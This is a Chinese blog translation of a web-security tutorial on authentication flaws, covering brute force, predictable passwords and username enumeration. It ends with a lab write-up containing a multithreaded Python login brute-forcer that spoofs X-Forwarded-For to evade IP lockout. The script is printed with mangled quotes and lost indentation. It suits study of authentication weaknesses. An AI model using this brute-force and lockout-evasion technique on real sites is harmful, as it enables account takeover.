身份验证与授权

外网教程,翻译过来看着玩玩,哈哈。

授权

什么是验证 Authentication?

身份验证是验证给定用户或客户端身份的过程。换句话说,它涉及到确保他们真正是他们。

有三种身份验证因素可以对不同类型的身份验证进行分类:

  • 你独有的记忆 or 信息,例如,password 和安全问题(你的小学的名字)。这称为 “knowledge factors”
  • 你独有的东西,例如,物理的,手机,安全令牌。称为 “possession factors”
  • 你或者你的行为,例如,生物信息,行为信息。称为 “inherence factors”

验证和授权区别?

身份验证是验证用户是否真实是他们声称的身份的过程,而授权则涉及验证用户是否被允许做某事。

验证:在网站或 Web 应用程序中,身份验证用来确定:尝试使用用户名 Carlos123 访问网站的人是否真的是创建帐户的同一个人。

授权:一旦 Carlos123 被验证,他的权限将决定他是否被授权访问有关其他用户的个人信息或执行删除其他用户帐户等操作。

身份验证漏洞是如何产生的?

从广义上讲,身份验证机制中的大多数漏洞产生于两种方式之一:

  • 身份验证机制薄弱,因为它们无法充分防止暴力攻击。
  • 身份验证过程中的逻辑缺陷或编码不良使身份验证机制完全被攻击者绕过。这有时被称为 “损坏的身份验证 broken authentication”。
    在 Web 开发中,逻辑缺陷只会导致网站行为出乎意料,这可能引发安全问题,也可能不会。但是,由于身份验证对安全性至关重要,有缺陷的身份验证逻辑会明显增加安全问题的可能性。

身份验证漏洞的影响?

身份验证漏洞的影响可能非常严重。一旦攻击者绕过身份验证或强行进入其他用户的帐户,他们就可以访问被攻击的帐户所拥有的所有数据和功能。

如果他们能够侵入一个享有高度特权的帐户,如系统管理员,他们可以完全控制整个应用程序,并有可能获得对内部基础设施的访问权限。

即使泄露低特权帐户,攻击者也可能访问他们本来不应该拥有的数据,例如商业敏感的商业信息。

即使帐户无法访问任何敏感数据,它也可能允许攻击者访问非直接公开的页面,从而进一步展开攻击。通常,某些高严重性的攻击无法从可公开访问的页面直接进行,但从一些内部页面中可能实现。

身份验证机制中的漏洞

网站的身份验证系统通常由几个可能发生漏洞的不同机制组成。某些漏洞在所有这些上下文中广泛适用,而另一些漏洞则更具体于所提供的功能。

基于密码的登陆的漏洞

对于采用基于密码的登录过程的网站,用户要么自己注册帐户,要么由管理员分配帐户。此帐户与一个唯一的用户名和一个关联的密码,用户以登录形式输入该密码以验证确实是自己。

在这种情况下,只有用户自己知道密码的事实被视为用户身份的充分证明。

因此,如果攻击者能够获取或猜测用户的登录名与密码,网站的安全性将受到损害。

下面列出一些利用方法:

暴力攻击

暴力攻击是攻击者使用系统不断地猜测有效的用户凭据。这些攻击通常使用巨大的用户名和密码的字列字典进行自动化。使用专用工具自动化此过程,使攻击者能够高速进行大量登录尝试。

暴力攻击并不总是只是对用户名和密码进行完全随机猜测的情况。通过使用基本逻辑或公开的知识,攻击者可以微调攻击,以做出更多有根据的猜测。这大大提高了这种攻击的效率。如果网站不实施足够的暴力攻击防范措施,则基于密码对用户唯一身份验证的网站可能会非常脆弱。

** 暴力破解用户名 **

用户名如果符合可识别的模式,那么特别容易猜测,如学校的电子邮件地址 姓名.@学校域名。但是,即使没有明显的模式,有时甚至使用可预测的用户名(如 adminadministrator)创建高特权帐户。

在审查过程中,检查网站是否公开披露潜在用户名。

例如,能否在不登录的情况下访问用户配置文件?

即使隐藏了配置文件的实际内容,配置文件本身使用的名称有时也与登录用户名相同。

还应检查 HTTP 响应,看看是否有任何电子邮件地址被披露。有时,一些网站的响应包含了管理员和 IT 支持等高特权用户的电子邮件地址。

** 暴力破解密码 **

许多网站采用某种形式的密码策略,迫使用户创建高熵密码

然而,虽然高熵密码是很难单独计算机破解,我们可以使用人类行为的基本知识,以利用用户无意的加入的字符。用户通常不会使用随机组合的字符创建强密码,而是使用他们能够记住的密码,以配合密码策略。

例如,mypassword 不满足网站要求,会使用 Mypasswprd1! 或者 Myp4$$w0rd

如果该政策要求用户定期更改密码,用户也经常只是对其首选密码进行轻微的可预测更改。Mypasswprd1! 改为 Mypasswprd2!,Mypasswprd1?

** 用户名枚举 **

用户名列举是攻击者能够观察网站行为的变化,以确定给定用户名是否有效。

用户名列举通常可以借助录页面,例如,当输入有效的用户名但密码不正确时(提示密码不正确),或在 ** 注册表单中输入已经被占用的用户名时 **。这大大减少了对登录进行暴力所需的时间和精力,因为攻击者能够快速生成有效用户名。

尝试暴力登陆页面时,下面几个需要留意:

  • HTTP 状态码。绝大多数猜测的结果可能都是一样的,因为大多数猜测都是错误的。如果一个猜测返回一个不同的状态代码,很有可能表明用户名是正确的。不管结果如何,网站总是返回相同的状态代码是最佳实践,但这种实践并不总是被遵循。

  • 错误信息。 有时返回的错误消息是不同的,这取决于用户名和密码是否都不正确,或者只是密码不正确。对于网站来说,最好的做法是在两种情况下使用相同的、通用的信息,但是有时会出现一些小的输入错误

  • 响应时间。如果大多数请求都以相似的响应时间处理,那么任何偏离这一时间的请求都表明在幕后发生了不同的事情。这是猜测的用户名可能正确的另一个迹象。例如,一个网站可能只检查密码是否正确如果用户名是有效的。这个额外的步骤可能会稍微增加响应时间。这可能很微妙,但是攻击者可以通过输入一个过长的密码使延迟更加明显,而网站需要更长的时间来处理这个密码。
    ** 暴力破解时,可能会被封锁 IP,在一定时间内禁止登陆行为,此时可以尝试借助 HTTP 的 **X-Forwarded-For:IP 地址 来伪装。

    原文这里给了三个 LAB,就是靶场,可以去试试。
    用 Python 脚本就几行,这里贴个第三题吧:

    import threading
    import requests
    

“””使用多线程加上 X-Forwarded-For 伪装 IP 来暴力破解”””

passwords = “””
123456
password
……
“””usernames =”””
carlos
root
……
“””passwords = passwords.split(“\n”)[1:-1]
usernames = usernames.split(“\n”)[1:-1]

def force(username, passwords, i):
for idx, password in enumerate(passwords):
# res = {}
# for username in usernames:
url = ‘https:// 靶场的登录 URL’
r = requests.post(
url, {“username”: username, “password”: password}, headers={ “X-Forwarded-For”:f’123.123.{i}.{idx}’ })
if r.text.find(“Invalid username or password”) == -1:
# if int(r.status_code) == 302:
print(f’find: {username} ~ {password}’)
return

if name == ‘main‘:
start = 0
while start < len(usernames):
start += 10
if start >= len(usernames):
start = len(usernames)
for i in range(start - 10, start):
t = threading.Thread(target=force, args=(usernames[i], passwords, i))
t.start()
# if (i == start - 1):
# t.join()


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论。
我的空间